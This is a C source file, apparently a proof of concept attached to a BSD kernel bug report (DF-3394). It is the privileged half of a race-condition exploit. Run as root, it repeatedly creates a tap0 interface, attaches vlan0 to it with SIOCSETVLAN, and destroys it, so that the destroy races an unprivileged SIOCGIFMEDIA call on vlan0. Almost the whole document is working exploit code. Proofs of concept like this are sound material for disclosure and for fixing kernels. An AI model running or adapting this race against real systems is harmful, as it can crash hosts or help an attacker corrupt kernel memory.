DF-3394 / race_churn.c
/* * DF-3394 PoC (privileged churn side): cycle the parent lifetime * create -> SIOCSETVLAN(vlan0 on tap0) -> destroy. * * Destroy of tap0 races the unprivileged SIOCGIFMEDIA on vlan0. * Must run as root. usage: ./race_churn [seconds] */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <net/if.h> #include <net/ethernet.h> #include <net/vlan/if_vlan_var.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <time.h> int main(int argc, char *argv[]) { struct ifreq ifr; struct vlanreq vlr; time_t t_end = time(NULL) + (argc > 1 ? atoi(argv[1]) : 60); int s; long n = 0, cok = 0, dok = 0; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return 1; } while (time(NULL) < t_end) { /* create tap0 */ memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, "tap0", IFNAMSIZ); if (ioctl(s, SIOCIFCREATE, &ifr) == 0) { cok++; /* attach vlan0 -> tap0 */ memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, "vlan0", IFNAMSIZ); memset(&vlr, 0, sizeof(vlr)); strlcpy(vlr.vlr_parent, "tap0", sizeof(vlr.vlr_parent)); vlr.vlr_tag = 7; ifr.ifr_data = (caddr_t)&vlr; ioctl(s, SIOCSETVLAN, &ifr); /* destroy tap0: fires ifnet_detach_event */ memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, "tap0", IFNAMSIZ); if (ioctl(s, SIOCIFDESTROY, &ifr) == 0) dok++; } n++; if (n % 20000 == 0) { printf("churn=%ld created=%ld destroyed=%ld\n", n, cok, dok); fflush(stdout); } } printf("done churn=%ld created=%ld destroyed=%ld\n", n, cok, dok); return 0; } |